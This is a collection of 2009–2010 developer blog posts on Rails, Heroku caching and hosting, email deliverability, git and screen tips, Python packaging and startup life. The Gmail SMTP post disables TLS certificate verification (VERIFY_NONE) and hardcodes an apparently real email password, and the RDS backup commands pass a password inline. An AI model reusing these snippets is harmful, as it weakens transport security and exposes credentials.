Send multipart email instead of only HTML email: send an HTML version that includes your pretty graphics, but also send a plain text version that gets the same point across.

Shrink size of images in message - large image implies spam.

Use a real email address instead of noreply@yourdomain.com - By real address, I mean an address that can be delivered to. This could be admin@outspokes.com, or support@outspokes.com.

Resources

Quick listing of links that I read:

Conclusion

Like I said before, I strongly believe that the right thing to do for email deliverability is to have someone dedicated handling it. For small teams with limited resources, this means going with an external hosted SMTP service. On the other hand, if you're curious about how email works, setting up your own mail server and going through the setup for ensuring the messages get delivered can teach you the fundamentals of how email work and also a lot of practical tools to go along with it.

Beerpad Hackathon: Hosting with Heroku

Jerry Cheung — Wed, 3 Mar 2010 00:00:00 +0000

When I started planning out Beerpad, I wanted to focus on fun beer ideas. I'm perfectly capable of setting up an environment for a Rails application to run in, but I didn't want to waste a morning doing a bunch of chores and have nothing but a "Hello World" page to show for it. Once I had my designs, I wanted to prototype the juicy real features right away. Enter Heroku. Heroku is a service for hosting Ruby webapps. I've been interested in the service since I saw Adam Wiggins demo it at a SVC Ruby Meetup. Heroku is a one-stop service for starting a database-backed, Rack compatible, Ruby webapp. They use git to version control your code, Thin to serve your traffic, and Postgresql to store your data. They also have add-ons that webapps may find useful. I've been looking for an excuse to play with the service, and Beerpad fit the bill perfectly. Follow the jump for my experiences.

Research

Before I got started, I read through their well-written documentation. It's good to get a high-level architectural overview of Heroku's infrastructure to appreciate how much plumbing the service abstracts. If you're familiar with deploying a Rails app on a Linux system and use git as your VCS, the learning curve isn't steep. That said, because Heroku manages your entire software stack, there'll more than one layer that you'll need to reference when you're first starting out.

Getting Started

The first step was to generate my blank Rails project. I chose to use postgresql locally to mirror the production environment closer, and also because I had it setup for previous projects. Once I verified my application ran locally, I added Heroku as a git remote source and pushed. The really cool part here is that Heroku uses git's post receive hook to package your dependencies with Gem bundler and deploy it on their infrastructure.

How's it drive?

As someone who has deployed several different Rails apps with capistrano and different requirements, my jaw dropped when I saw in my terminal:

-----> Heroku receiving push
-----> Gemfile detected, running Bundler
       All dependecies are satisfied
       Locking environment
-----> Rails app detected
-----> Installing Exceptional plugin from
-----> git://github.com/contrast/exceptional.git...done.
-----> Installing quick_sendgrid plugin from
-----> git://github.com/pedro/quick_sendgrid.git...done.
-----> Installing New Relic plugin...done.
       Compiled slug size is 7.6MB
-----> Launching.......... done
       http://beerpad.heroku.com deployed to Heroku

With a simple "git push heroku", Heroku resolved my gem dependencies, installed add-ons to handle exception reporting, emails, and performance monitoring, and restarted the app servers.

Sure, I've accomplished all of these things before with my other apps, but each of those tasks had to be thought out separately, written, and maintained. I love the git workflow abstraction. You design, you test, you code, you push, and voila! Your app's online. Rinse and repeat, and you have an amazing prototyping tool. I don't miss configuring capistrano, databases, and postfix. I don't miss having separate credentials for github, amazon web services, monitoring, and servers.

Rattles and Squeaks

As much as I love the service up to this point, not everything was smooth sailing. At one point, when I pushed the code, Beerpad would barf up a completely cryptic backtrace. Trying to access the app via the online dashboard would cause the dashboard to barf with a 500 server error. Emailing back and forth with support indicated that it was a known bug they're working on, and the fix was to delete and re-add my project.

Now I didn't mind the outage because Beerpad is a toy application with zero traffic, but if my bread and butter app mysteriously died and the fix after 24 hours was to delete and re-add, heads would've rolled.

Another annoyance is only 100 lines of logs are kept. Down the line, I can imagine an add-on to address this, but in the meantime, people sent their log data to external services. This works, but definitely isn't in the spirit of removing plumbing responsibilities from the user.

Would I pay for it?

Definitely. Without a doubt, I see Heroku's value. It consolidates several services into one, adds a functional dashboard, and has room for extensibility. It saves you a ton of time on plumbing unrelated to your webapp. If you're starting a new Ruby webapp, whether personal or commercial, you'd be nuts to duplicate the work the Heroku guys have done. On top of that, because you won't have a dedicated systems team (read: $$$), you'll end up doing a much worse job.

If you have an existing app and a well defined deployment process, the story changes. Replacing one good process with another is a lot of work and might not be worth it. But that decision needs to be weighed on a case by case basis. For new projects, Heroku is freaking awesome.

Reaction to 37Signal's Getting Real

Jerry Cheung — Mon, 1 Mar 2010 00:00:00 +0000

The gray and wet weather outside put me in an gloomy mood, so I didn't want to write any 'unhappy' code and regret it later. Instead, I headed to Cup of Joe on the corner of Dizengoff and Gordon to read 37Signal's book 'Getting Real' while enjoying a creamy cappuccino. Follow the jump for a short book review.

First of all, the book is free online and not a long read. The book is about 37Signal's preferred way of creating web applications and covers all areas of their business from a high level. The book is broken down into a collection of 91 essays, most of which are a single page. Each essay ends with one or more quotes from external sources supporting the idea of the essay.

None of the topics shocked me. This isn't surprising since I'm already brainwashed by the joys of Ruby, and most of my work experience has been with competent and smart small teams. I found myself nodding along with the uselessness of meetings, and their big emphasis on communication is during the development process.

I liked how each essay took a stance on the topic and gave examples from the team's actual experiences. While not everyone agrees with 37Signal's approach to doing things, I think their strong opinions reflect the company's discipline in defining a workflow that works well for them. For example, The Three Musketeers essay argues that the perfect team size is 3 people; They didn't rehash a vague cliche that smaller teams are more effective; They didn't even give a range like "teams less than 10". No, the team size is specifically and explicitly 3. There are supporting arguments, and if you disagree with 37Signals, they're happy to reiterate that you don't work with them and it's simply their own opinion and experiences.

There were some ideas I picked up that I will experiment with my projects. I found their "promotion" section to be helpful because it details a lot of the personal and non-technical work of launching a webapp. It reminds me of customer discovery and customer development process that Steve Blank talks about in The Four Steps to Epiphany. The idea that software should not be developed without iterating with real customer feedback is repeated by both books. The idea that less code should be written is well justified by showing the hidden costs of adding new features. I also believe it's the most important point because it saves small teams their most valuable and most limited resource: time. Without scoping projects to a smart number of features, even the brightest and most agile of teams would have their brain bandwidth saturated.

After applying a few of their concepts, I'll probably revisit the essays and see how effective they were. If the suggestions turns out to be as useful as some of David Allen's Getting Things Done ideas, then it'll make this an afternoon well spent.

Hackathon creation: Beerpad

Jerry Cheung — Sat, 27 Feb 2010 00:00:00 +0000

To spice things up from Outspokes and consulting, Arthur, Jeff and I held our first informal hackathon at Mo Joe Cafe on a sunny Saturday morning. The three of us had no real goal other than to get our geek on in good company. I had a great time brainstorming and creating my deliciously refreshing beer review site named Beerpad. Follow the jump for details on the project.

My idea for Beerpad was straightforward enough; I wanted an app for writing beer reviews for my own reference and for sharing and exploring new beers with friends. Up until two or three months ago, I hadn't kept track of which beers I've tried. When I started taking notes, they outgrew index cards and my google doc pretty quickly. Other rating sites like BeerAdvocate and RateBeer have great information but have become noisy and cluttered over time. I thought I could do better than what the competition offered. The project also gives me a perfect excuse to try out new development techniques I've been reading about.

This being a hackathon, I scoped my design to the most interesting features in order to avoid slogging through uninteresting boring tasks I already knew how to implement. User registration? Nah. Linux setup? Recently did a bunch of that for Outspokes. Email deliverability? Later. The list of things I did not feel like working kept growing and growing. I was starting to worry that I'd have no project to work on, but the list finally whittled down to the core features:

write beer reviews
add photos
search for beers

There are many fun ideas that friends have suggested like beer quests/feats, social networking, and mobile tools. I wanted to make this a realistic hackathon and complete something substantial and useful, so I'm keeping these fantastic ideas out of the first release for the sake of time. Many thanks to Dennis, Graham, both Wendys, Lilly, Andrew, and Sam for helping me seed initial beer names. I owe y'all a brewsky the next time I concoct a batch.

Summary of topics

These links will fill out as I write about them

Hosting with Heroku
Authentication with Authlogic
Don't acts as no stinking state machine
Sexy uploaders with SWFUpload, Paperclip, and S3
Why acceptance testing? A lazy programmer's story of frustration with Cucumber and Watir
Design for optimization: When it's not premature optimization

I had a lot of fun researching new techniques for writing this application. For hosting, I tried out Heroku and fell in love with their git workflow. For authentication, I took a step away from the well known restful_authentication plugin to look at clearance and authlogic. I found a great API with Authlogic and preferred it over its alternatives. I decided to allow drafts on beer reviews, so I reached for AASM (acts_as_state_machine), but I also looked at some alternatives. Unlike the happy endings of Heroku and authlogic, my adventure with state machines was a complete pain. For photo uploads, I wanted a sexy multifile uploader like flickr or gmail. This led me down a confusing maze of flash uploaders, flash bugs, and hard to configure Rails plugins and libraries. Concurrent with all this research and development. I looked for better ways to do integration and acceptance testing and also to design with performance in mind.

Whew. That was a lot to summarize and blurt out all at once. I think I'm going to find myself a cold refreshing beer to try. You should join me. -Jerry

Page Caching Gotcha on Heroku

Jerry Cheung — Wed, 24 Feb 2010 00:00:00 +0000

Andrew noticed that his beer reviews weren't showing up on beerpad after he published them. His reviews were saved in the database and showed up on redeploy. I smelled a caching bug. Digging a little deeper, I found out that caches_page and expire_page are overridden on Heroku to set http caching headers rather than write a file to the local filesystem. While I was fixing this bug, I picked up on a lot of useful details about Rails action caching and configuration. Details and my fix after the jump.

With Heroku's read-only filesystem and dyno architecture, it doesn't make sense to write rendered pages to file. However, in order to be compatible with existing apps, Heroku uses the caches_page_via_http plugin to cache entire responses in the Varnish layer for a few minutes. The problem with this is that expire_page is overridden to be noop, so stale pages can be served to users even if your code calls expire_page in the correct places.

For example, my original code did the following:

update a beer review
expire the cached page for /reviews
redirect to /reviews

After a user submits their review, they should see their review at the top of the reviews listing at /reviews. With Heroku's patch, step 2 becomes a noop, and caches_page sets /reviews Cache-Control header to have a max age of 5 minutes. If a user finishes writing a review in less than 5 minutes from the previous page cache, a stale page is served to them without their published review. As a user, you'd think "crap, my review got nuked". For example:

GET /reviews - cached in Varnish and client browser for 5 minutes.
GET /reviews/new - start a beer review.
write quick review and submit in < 5 minutes.
POST /reviews - should expire page, but is noop instead.
redirect GET /reviews - stale page served from browser cache b/c < 5 minutes has elapsed.

After I figured this out, I switched my controller and sweepers to use caches_action and expire_action to make expiration work again.

A minor gotcha with expire_action is you cannot use restful route helpers by default. The default cache_path used to key a cached value includes the hostname. If you try to expire using the route helpers, your key won't match and the cached value won't be expired.

# original page caching expiration
expire_page reviews_path

# new action caching expiration, note that options for path_for are passed in
# instead of using restful route helpers.
expire_action :controller => 'reviews', :action => 'index'

Multiple Dynos

Replacing page caching with action caching solves the problem caused by noop expiration. But using the default memory cache store with multiple dynos will still cause stale pages to be served. The new problem is that each dyno keeps it's own local memory cache, which means when you expire the cache, you're only expiring one dyno's cache rather than expiring all the caches. To get around this, we need to use a centralized cache store like Memcached or DRb. The Rails guide on caching has a good explanation of the cache stores available and their differences.

On Heroku, turning on Memcached is really simple and well documented:

# in terminal at rails root
heroku addons:add memcached

# config/initializers/memcached.rb - initialize connection to memcached on heroku
if ENV['MEMCACHE_SERVERS']
  require 'memcache'
  servers = ENV['MEMCACHE_SERVERS'].split(',')
  namespace = ENV['MEMCACHE_NAMESPACE']
  CACHE = MemCache.new(servers, :namespace => namespace)
end

# config/environments/production.rb - use memcached as cache store
if ENV['MEMCACHE_SERVERS']
  memcache_config = ENV['MEMCACHE_SERVERS'].split(',')
  memcache_config << {:namespace => ENV['MEMCACHE_NAMESPACE']}
  config.cache_store = :mem_cache_store, memcache_config
end

I wrote a testing controller with 2 actions, and increased my dynos to 2 to compare the default memory cache store and memcached cache store.

class TestingController < ApplicationController
  caches_action :caching
  def caching
    render :text => "I was rendered at #{Time.now}"
  end

  def blocking
    sleep 10
    render :text => "finished blocking at #{Time.now}"
  end
end

Once pushed and deployed, I repeatedly hit /testing/caching, and /testing/blocking from separate tabs. With the default memory cache store, I saw 2 different times on /testing/caching. Once I configured Rails to use memcached as the cache store, I saw only be a single time on /testing/caching. This makes sense because both dynos are pulling from the same centralized cache.

The moral of the story is to not use page caching on Heroku for pages that need to be manually expired. Personally, I'm just going to set http expiration headers myself to make the code's behavior more transparent and consistent between local development and Heroku production.

Useful debugging tips

To see the cache store currently being used and the contents of your cache:

script/console production
app.get '/'
# tells you what cache_store is being used, and what's in your cache
app.controller.send(:cache_configured?)

Sweepers have a reference to the controller, so it's useful to set a breakpoint before and after the call to expire_action:

# in review_sweeper.rb
def after_save(obj)
  debugger
  # inspect 'cache_configured?' or 'self.controller.send(:cache_configured?)'
  expire_action :controller => 'reviews', :action => 'index'
end

Reference Links

RailsGuides - Caching with Rails - great overview of caching, and explains cache memory stores.
Rails action caching documentation
Rails page caching documentation
Heroku HTTP caching documentation
Heroku Memcached documentation
Resource Expert Droid - useful service for inspecting http response headers

Rails Dependency Management

Jerry Cheung — Thu, 21 Jan 2010 00:00:00 +0000

Rails has two methods of adding external libraries to a project, rubygems and plugins. There are also different ways to manage these external libraries. Here are some conventions I've picked up over the years for managing dependencies in development and deployment as painless and maintainable as possible.

Rubygems

I prefer using gems over plugins whenever possible because they are easily shared between different applications, and are versioned. Multiple versions of the same gem can be installed on the same box, and it's up to the application to specify which version it wants to use. This is great if you have older apps that aren't ready to go up to a newer version living in the same environment as apps who are already using a newer version of the same library.

Gem Bundler

In addition to installing gem dependencies on production boxen by hand, there's an interesting new kid on the block called Bundler. The idea is you declare what gems and versions belong with a Rails application in a Gemfile which is used by the 'gem bundle' command to freeze those gems into vendor/gems. To 'freeze' a library in Rails-speak is to copy that library into the vendor directory; It offers the same tradeoffs as static-linking and dynamic-linking.

I use a combination of Bundler and Rail's builtin 'config.gem' on Heroku. For every gem that is already available on the hosts, I use 'config.gem' and use the existing shared gem to avoid wasting space with freezing gems. For gems that are not available on the box, I have a Gemfile that Bundler uses to freeze gems on every deploy. I get the benefit of static-linking for gems aren't available on the local host, but also get the benefit saving space with dynamic-linking.

Plugins

Originally I thought of gems as general purpose ruby libraries, and 'plugins' as ruby libraries that are only useful within a Rails application. That distinction isn't very useful practically. Even if a shared library is only useful within a Rails app, I still prefer to use a gem because gems are versioned and have tools to maintain and manipulate them. Luckily many Rails plugins usually offer themselves as both a tradition plugin that gets frozen in vendor/plugins, or as a gem dependency.

One plugin nasty plugin habit I had to get rid of was the urge to 'script/generate plugin' whenever I wasn't sure where to put a certain chunk of modular code. Before you do this, remember that plugins are supposed to be resuable in any Rails app. If your plugin can't be decoupled from your Rails project and dropped into a fresh one, then it probably belongs in 'lib' and not 'vendor/plugins'.

Ryan's Scraps rails initializers are useful for requiring extra libraries you have in 'lib' instead of 'vendor/plugins'
Err the Blog load_paths example. It's good to understand how config.load_paths work so you can organize where you put your shared code.

Avoid Dependencies

Probably the most important lesson I've learned is to not get too trigger happy with adding new external libraries. There are a lot of good libraries out there, but plenty of bad ones too. Before you marry yourself to a particular library, research it thoroughly; Is it actively maintained? Are there lots of complaints about it in the blogosphere? Are there tests? Does the code look well written? Is there documentation?

and most importantly of all...

Do I actually need this functionality?

I've been burned plenty of times for installing something new and shiny and then ditching it later because it was much more than I needed. Just like it's more elegant to write less code, more concisely; The same principle applies when introducing new dependencies to your application.

Tips of the Day

Jerry Cheung — Tue, 19 Jan 2010 00:00:00 +0000

debugging django SQL problems
documenting convention for Rails routes

Debugging Django SQL problems

You can install Django debug toolbar middleware, or you can set a breakpoint and inspect queries that have been run on the current database connection:

from django import db
db.connection.queries[0]['sql']

'queries' is an array of dicts. The useful keys on the dict are 'sql' and 'raw_sql'.

Documenting Convention for Rails Routes

I started a mini-hackathon for a beer review app I've wanted to write for a while. While I was scaffolding, I thought it'd be useful to document the routes inline with their controller:

class ReviewsController < ApplicationController
  # beer_reviews(@beer) => GET /beers/:beer_id/reviews
  def index
  end

  # new_beer_review(@beer) => GET /beers/:beer_id/reviews/new
  # new_review             => GET /reviews/new
  def new
  end

  # beer_reviews(@beer) => POST /beers/:beer_id/reviews
  # reviews             => POST /beers/reviews
  def create
  end
end

The benefit is that for any given controller you can always add '_path' or '_url' to the end of the comment without having to run rake routes and grepping for the controller/action pair. This convention also lets you see every possible way of accessing a given action instead of only the basic method.

Tips of the Day

Jerry Cheung — Thu, 14 Jan 2010 00:00:00 +0000

deleting remote git tags

Deleting remote git tags

Find the tags you want to delete

git remote update
git tag -l

Removing a single tag

git push origin :refs/tags/my_tag_name

Removing a bunch of tags (2009 and 2010)

git tag -l | grep -e '^20' | perl -ne '`git push origin :refs/tags/$_`'

Tips of the Day

Jerry Cheung — Wed, 13 Jan 2010 00:00:00 +0000

backspace in GNU screen with Apple Terminal, SSH, and Ubuntu
jquery tooltip plugins
django stuff

It's just a backspace

Is it too much to ask for backspace to mean backwards-delete? Apparently it is, because there are entire bug threads and forum posts dedicated to the issue. I finally got mine working with the following in my .screenrc:

bindkey -d ^? stuff ^H

Thanks to this blog post. The original post also maps ^@, but that conflicts with ctrl-space set-mark in emacs. It also appears to be working for me without that second line.

The other solution that made backspace work was

alias screen='TERM=screen screen'

But this solution screwed up the status bar colors on the bottom of my screen.

Something that was somewhat useful in helping debug this problem was figuring out what backspace actually mapped to in Terminal, in a ssh shell, and in screen. To display a non-printing character, start with ^v (control-v), then type the non-printing letter (backspace). What I got were:

Terminal: ^?
SSH:      ^?
screen:   ^[[3~

It's amazing how many mappings people suggested in the forums, and how all of them didn't work. My guess is that YMMV and you just need to try all of them until you get one that works. Here's some others I tried:

bindkey -k kb stuff "\010"
bindkey -k kb stuff "\177"

And other variations with ^?, ^H, and ^[[3~.

jQuery Tooltips

I ended up choosing mbTooltips for this specific application because it's relatively lightweight (4k minified, with 8k of dependencies). The original jTips plugin that was in use was a whopping 187k AND used AJAX requests to get tooltip data. jTips is also unmaintained. Personally, I would just use the default 'title' attribute on HTML elements for tooltips, and style them appropriately.

Django Stuff

To do redirects:

# You'd think redirects wouldn't need to be explicitly imported...
from django.http import HttpResponseRedirect
return HttpResponseRedirect("/")

Form models, form helpers, form processing

Tips of the Day

Jerry Cheung — Tue, 12 Jan 2010 00:00:00 +0000

dumping and restoring databases from RDS
connecting to Twitter via oauth using python
python debugger in Django

Backup and Restore to RDS

Backup:

mysqldump -h dev-rds.customdomain.com -u root -psecret database_name table_name  | gzip > backup.sql.gz

table_name is optional, and you can pass a -9 to gzip to maximize compression

Restore:

gunzip < backup.sql.gz | mysql -h dev-rds.customdomain.com -u root -psecret database_name

Python Twitter OAuth

Download sample code

Grab oauth library, and drop it on your python path. Don't use the egg because there are problems with it.

If you're using cookie based sessions and developing locally, make sure your callback url is consistent with your local dev url. I had the callback url set to http://127.0.0.1/twitter_callback, but I was accessing the application via http://localhost:8000/, so the cookies weren't being set properly. The fix was to access the app from http://127.0.0.1:8000/ instead.

Python Debugger in Django

import pdb; pdb.set_trace()

Equivalent of 'import ruby-debug; debugger' in ruby.

Ruby Rails Gmail SMTP

Jerry Cheung — Mon, 11 Jan 2010 00:00:00 +0000

When you want to send a quick email in a ruby script, it's easy to send it through Gmail. You don't have to worry about email deliverability, and you get a record of it in your 'Sent Box'. There were a few outdated blog posted on how to do this, but I had to make a few tweaks before it worked for me.

Update: For Ruby > 1.8.7 and Rails >= 2.2.2, you can simply specify 'enable_starttls_auto => true'. I put the following in 'config/initializers/actionmailer_gmail.rb'

ActionMailer::Base.smtp_settings = { :address => "smtp.gmail.com", :port => 587, :authentication => :plain, :enable_starttls_auto => true, :user_name => "kwiqi@kwiqi.com", :password => "superB1rd!" }

Setup

sudo gem install tlsmail
sudo gem install mail   # optional

Ruby Inside recommended 'smtp_tls', but that gem is not compatible with Ruby versions greater than 1.8.6. 'tlsmail' works for 1.8.6 and above.

Once you have 'tlsmail' installed you can use ActionMailer, or mikel's mail gem to build and send the message. If you don't want the extra dependency and speak mail headers, you can write the raw mail message yourself.

Rails

# in environment.rb
require 'tlsmail'
Net::SMTP.enable_tls(OpenSSL::SSL::VERIFY_NONE)
ActionMailer::Base.raise_delivery_errors = true
ActionMailer::Base.perform_deliveries = true
ActionMailer::Base.delivery_method = :smtp
ActionMailer::Base.smtp_settings = {
  :address => 'smtp.gmail.com',
  :port => 587,
  :tls => true,
  :domain => 'mail.google.com',  # mail.customdomain.com if you use google apps
  :authentication => :plain,
  :user_name => 'johndoe@gmail.com',  # make sure you include the full email address
  :password => '_secret_password_'
}

Ruby

#!/usr/bin/ruby

begin
  require 'rubygems'
  require 'tlsmail'
  require 'mail'     # http://github.com/mikel/mail
rescue LoadError => e
  puts "Missing dependency #{e.message}"
  exit 1
end

mail = Mail.new do
      from 'johndoe@gmail.com'
        to 'johndoe@gmail.com'
   subject "email subject line"
      body 'blog backup'  # add an attachment via add_file
end
Net::SMTP.enable_tls(OpenSSL::SSL::VERIFY_NONE)
Net::SMTP.start('smtp.gmail.com', 587, 'gmail.com', 'johndoe@gmail.com', '_secret_', :login) do |smtp|
  smtp.send_message(mail.to_s, 'johndoe@gmail.com', 'johndoe@gmail.com')
end

Bonus: Email Testing with Mailtrap

Mailtrap was mentioned in a related article on RubyInside. The way I had been testing emails on OS X was starting a local smtp server (sudo postfix start) and send test emails to Gmail. Mailtrap lets you do quick tests locally by logging the sent mail to a text file.

A Day in Python Library Hell

Jerry Cheung — Mon, 11 Jan 2010 00:00:00 +0000

I haven't used python as my main day-to-day language, but I've already run into problems with the tools and libraries that has had me pulling my hair out.

Library Management

There doesn't appear to be a consensus in the community for how you distribute or install libraries. As a result, every library is a little different, and you have to figure it out per package. Sometimes it's through python eggs, sometimes through your OS's package manager, sometimes it's from source, and sometimes it's just drop in a file. As if this wasn't bad enough, the method you choose to install a library might determine whether it works or not. When I tried to install the oauth module via an egg, the module didn't work. From this blog post comment, it turns out I wasn't alone:

I had this problem too. I get it when I used setuptools to install
an egg of ouath. Instead, just copy oauth.py into your Python path
and it will work fine.

"just copy oauth.py into your Python path"? Is this seriously the solution? If so, then why even bother to have distribute a broken egg?

easy_install is Stupid

First of all, what a stupid name for a program. It doesn't tell me anything about what it does, and isn't remotely related to 'eggs' nor python. The --help message has no short description, and there's no man page for it. When you google for 'python egg', the first result is 'setuptools', which is 'easy_install', which happens to install eggs.

Oh, and guess what? There's no easy_uninstall. For that, you'll have to remove it yourself from your local site-packages, or roll your own uninstall.

init.py is Useless

Every init file I've seen so far has been empty. I understand the purpose for this file, but requiring it in a directory for something to be considered a module is annoying. Java also uses directories for packages, but doesn't require you to touch a file in every folder.

Rotten Eggs

I'm disappointed something that developers use day in and day out can be so clunky and vague. I've singled out the oauth library as an example, but the problem isn't just a single bad library. The problem is how freaking difficult it is to try a new library; Even if you like the API of the library, there's an additional hurdle of installing and maintaining it. I wish the Python community would come to a consensus and choose a standard way of distributing libraries.

Ruby Python Cheatsheet

Jerry Cheung — Wed, 9 Dec 2009 00:00:00 +0000

Some equivalents for my reference:

Ruby	Python	Comment
Rubygems	Eggs	python setuptools, utility is called easy_install
__FILE__	???
$: or $LOAD_PATH	import sys; sys.path
a ? b : c	b if a else c	stupid ternary operator
	sys.stdout; sys.stderr
script/console	django-admin.py shell
restful auth, clearance, auth plugins	[auth middleware](http://docs.djangoproject.com/en/dev/topics/auth/)
before_filter	[BeforeFilter middleware](http://www.djangosnippets.org/snippets/1306/)

Talking the Startup Talk, Walking the Outspokes Walk: Founders

Jerry Cheung — Fri, 30 Oct 2009 00:00:00 +0000

It's been a month since I left my job at Coupa and co-founded Outspokes with my friend Arthur. I read a lot of blogs on entrepreneurship and technology, but actually diving in and floundering around myself has been quite a rush. Many of my experiences match up with what the blogosphere says, but just as many have caught me off guard. Looking back, my first surprise was how big a difference my co-founder made.

Why'd you do it?

I wanted to do a software startup. This was surprising to me because none of my closest friends were into startups; I graduated from a school that didn't have a huge startup community; I also had a cushy job with a team that I really enjoyed working with. All of this was outweighed by the fact that I met one person who saw startups the same way I did.

I knew I wanted to do more than build other people's ideas. I've been working since I got my first part time job at Starbucks at 15, paid for my college with a short full-time stint at the USDA Forest Service, worked as an ExtremeBlue IBM intern in Austin, a programmer at Rescomp, and a programmer at Coupa. With the exception of ExtremeBlue, I've always been building to spec or adding to an existing legacy project. This certainly pays the bills and hones the skills, but I always built pet projects on the side. I didn't make these because I wanted money; I made them because they were useful to me and I had a blast making them. I didn't rush my projects, I didn't have to clean up after incompetent coders who cared less about their work than as I did, and I got to try new code techniques and explore new ideas.

Fast forward to now, my latest pet project was Outspokes. It came out of a class that Arthur was in, and I had a good time hacking on it in my free time. Only this time, I met someone who felt the same way I did. We reviewed each other's code, we called each other out on bad habits, and most importantly, we both cared deeply about the project. We were proud of what we made, and we wanted to make it useful for everyone else too. What was new about this pet project was that I hadn't met anyone who had wanted to work on my other pet projects before. Similarly, I never felt much interest in other people's projects except to have a weekend hack session here and there. Working with Arthur was different because we talked about everything related to Outspokes. We talked code, we talked features, we talked about who would use it, and we talked business. I found myself thinking about Outspokes way too much, and I knew that the more I thought about it, the more it got Arthur pumped up.

Now one would think that in heart of the startup-saturated tech-mecca of the world, it shouldn't be very hard to find a like-minded person to work with. But one would be completely wrong in making this assumption. If anything, the valley is torn apart by so many different interests that it's almost impossible to find someone compatible to work with. First you have to filter out the people who only cared about making a quick buck. Then you had the people who only loved to be in the spotlight will jillions of page-views, and also the people who only cared about the next big tech framework. This leaves you with a handful of cool sane people who really believed in their ideas, but unfortunately, since they were passionate about their idea, it meant that unless you were also passionate about their idea, you couldn't work with them.

So I was really lucky to have met Arthur. Honestly, even if Outspokes wasn't an amazing idea that I believed in, I still would've wanted to work with him in the future at some point. It made my decision that much easier that Outspokes happens to solve a problem I've experienced, and also a problem that I know peers feel daily. For all the startup advice that I saw on the internet, I think that having a co-founder who you can talk to day-in and day-out on all aspects of your life is probably the key to a successful startup. Even in these brief few months, I know that if I had worked with anyone else on this startup, they would've jumped ship and given up already. But having a partner who reminds you about the big picture at the low points and celebrates with you at the high points really makes a huge difference.

Stay tuned for my next post about the nasty nitty-gritty bits of how I figured out the art of not starving, and what the actual TechCrunch50 Demopit launch taught me.

-Jerry Outspokes

The Software Maintenance Light

Jerry Cheung — Tue, 9 Jun 2009 00:00:00 +0000

My cute little box car, Chuck, came with an owners manual. Inside this little book, it lists all the mileage intervals when Chuck should be serviced. At 30,000 miles, you replace the spark plugs, rotate tires, inspect the brakes, etc. In addition to these checklists, every 5000 miles Chuck beeps at me and flashes a maintenance light to warn me that I should replace the engine oil. As my car nears 50,000 miles, it never ceases to amaze me that every time I turn the key, Chuck starts up instantly and runs as well as he did when I first got him. I wish software could be as reliable as my car. Heck, if it's too much to ask for software to be as reliable as a Toyota, then I wish software could be as reliable as a mid-90's Chevy Cavalier. How could it be that an engine that explodes thousands of times per minute for multiple decades over hundreds of thousands of miles in all types of unpredictable weather conditions be more reliable than software? Then it hit me. Software applications lack regular maintenance.

Even with the best development practices, I feel that many software projects are missing this concept of maintenance. Once a feature is completed, it won't be touched again until a) the feature breaks, or b) requirement changes affect the feature. There doesn't seem to be a holistic look at the entire app to make sure there aren't future problem spots. Going back to the car analogy, when you go for regular maintenance, the entire car is checked over to identify future problem spots so you don't have an unexpected catastrophe on the road.

So like Chuck's owner's manual, I propose the following "Software Maintenance Schedule":

Always

Anytime code is changed, no matter how seemingly innoculous the change is, there is room for error. These tasks should be run whenever you touch the codebase.

run all your tests - check out continuous integration. For Ruby, I've tried out Integrity and CruiseControl rb.

Daily

The daily tasks are ones that are too bulky to run per file save. They're good for ensuring the consistency of the entire system.

backup the codebase and production data to a secure offsite location
run regression tests
fix hoptoad errors - for large problems, file it into your ticketing system.
deploy code to staging environments

I like to have the staging environment closely reflect the actual production environment. In fact, the ideal way is to have the staging environment be cloned nightly from production. Take care to scrub out sensitive information so you don't accidentally mass email your live production users ;)

Weekly

The end of the week is a good time to step back from coding and admire your team's handiwork. Unfocus your eyes, take your hands off the keyboard and just make sure you wrote what you actually intended.

release into production
refactoring - spend an afternoon with snacks and drinks and comb over TODOs, OPTIMIZEs, and FIXMEs.
evaluate metrics and analytics to identify performance and potential problems

I don't think releasing into production weekly is for everyone, but I do believe that keeping your stable production codebase closely in sync with your stable development codebase is a good way to keep production bugs from queueing into a nasty long list.

Tools like Hoptoad and New Relic RPM are a great way to be notified about potential future problems.

Monthly

test a deployment from scratch
clear out crufty data - old sessions, tmp files
automate common tasks

Testing a deployment from scratch is useful in making sure that if a new developer comes on, he can bootstrap the app. I like writing new automation tasks only after I notice the tasks being repetitive. It's good not to do this all the time and cut into development time.

Releasely

Do these tasks before you actually overwrite your current production codebase with new code.

tag codebase
test rigorously in staging
backup code, data
run sanity test of data
run regression tests

Quarterly

see if there are worthwhile tech stack upgrades - web server, libraries, database, etc

It's easy to stick with a working system and keep developing off on top of an understood foundtain. However, in doing so, you might be missing out on some really useful innovations that have been released. For Coupa, we don't slot in infrastructure and tech stack projects into every release, but we do upgrade Rails and Passenger every other stable release or so. Keeping up with your programming community helps you and your project stay up to date on the latest security and performance problems.

I think all my guidelines are common sense items that good development teams already do. What worries me is that there isn't a good convention about how often these tasks are done. After all, it's much easier to check for problems when the maintenance light comes on, rather than to wait for your engine to fall out.

Introspecting Rails Models and Controllers Callbacks

Jerry Cheung — Thu, 4 Jun 2009 00:00:00 +0000

Once models and controllers grow to a certain size and complexity, it gets tricky to figure out what callbacks act upon them. This is especially true for objects that are several inheritance layers deep, have multiple mixins, were written a long long time ago, or any combination of the above. I've picked up a few tools for crushing nasty little callback buggers that crop up every now and then. I hope you find them useful!

ActiveRecord Callbacks

Model validation and save callbacks are provided by the module ActiveRecord::Callbacks. If you read through this code, you'll find that it's built on top of a great little module called ActiveSupport::Callbacks. I'm a big fan of this module because it gives you a nice abstraction to defining callbacks on arbitrary Ruby objects.

The callbacks defined on ActiveRecord::Base sub-classes are

after_find
after_initialize
before_save
after_save
before_create
after_create
before_update
after_update
before_validation
after_validation
before_validation_on_create
after_validation_on_create
before_validation_on_update
after_validation_on_update
before_destroy
after_destroy

To see the list of a particular callbacks, suffix the callback type with '_callback_chain'. For example, to see the 'before_save' callbacks defined on the model Supplier:

Supplier.before_save_callback_chain

This will give you a list of ActiveSupport::Callbacks::Callback objects that have interesting attributes such as identifier, kind, method, and options.

To get a named list of callbacks, do

Supplier.before_save_callback_chain.map(&:method)

To see whether a callback is conditional, check out it's 'options'

Supplier.before_save_callback_chain.first.options

ActionController Callback

Controller callbacks documentation can be found at ActionController::Filters::ClassMethods.

SuppliersController.filter_chain

Again, the array of filter objects returned by 'filter_chain' are ActiveSupport::Callbacks::Callback instances. This lets you check the method names being called, as well as what options are set on it.

In General

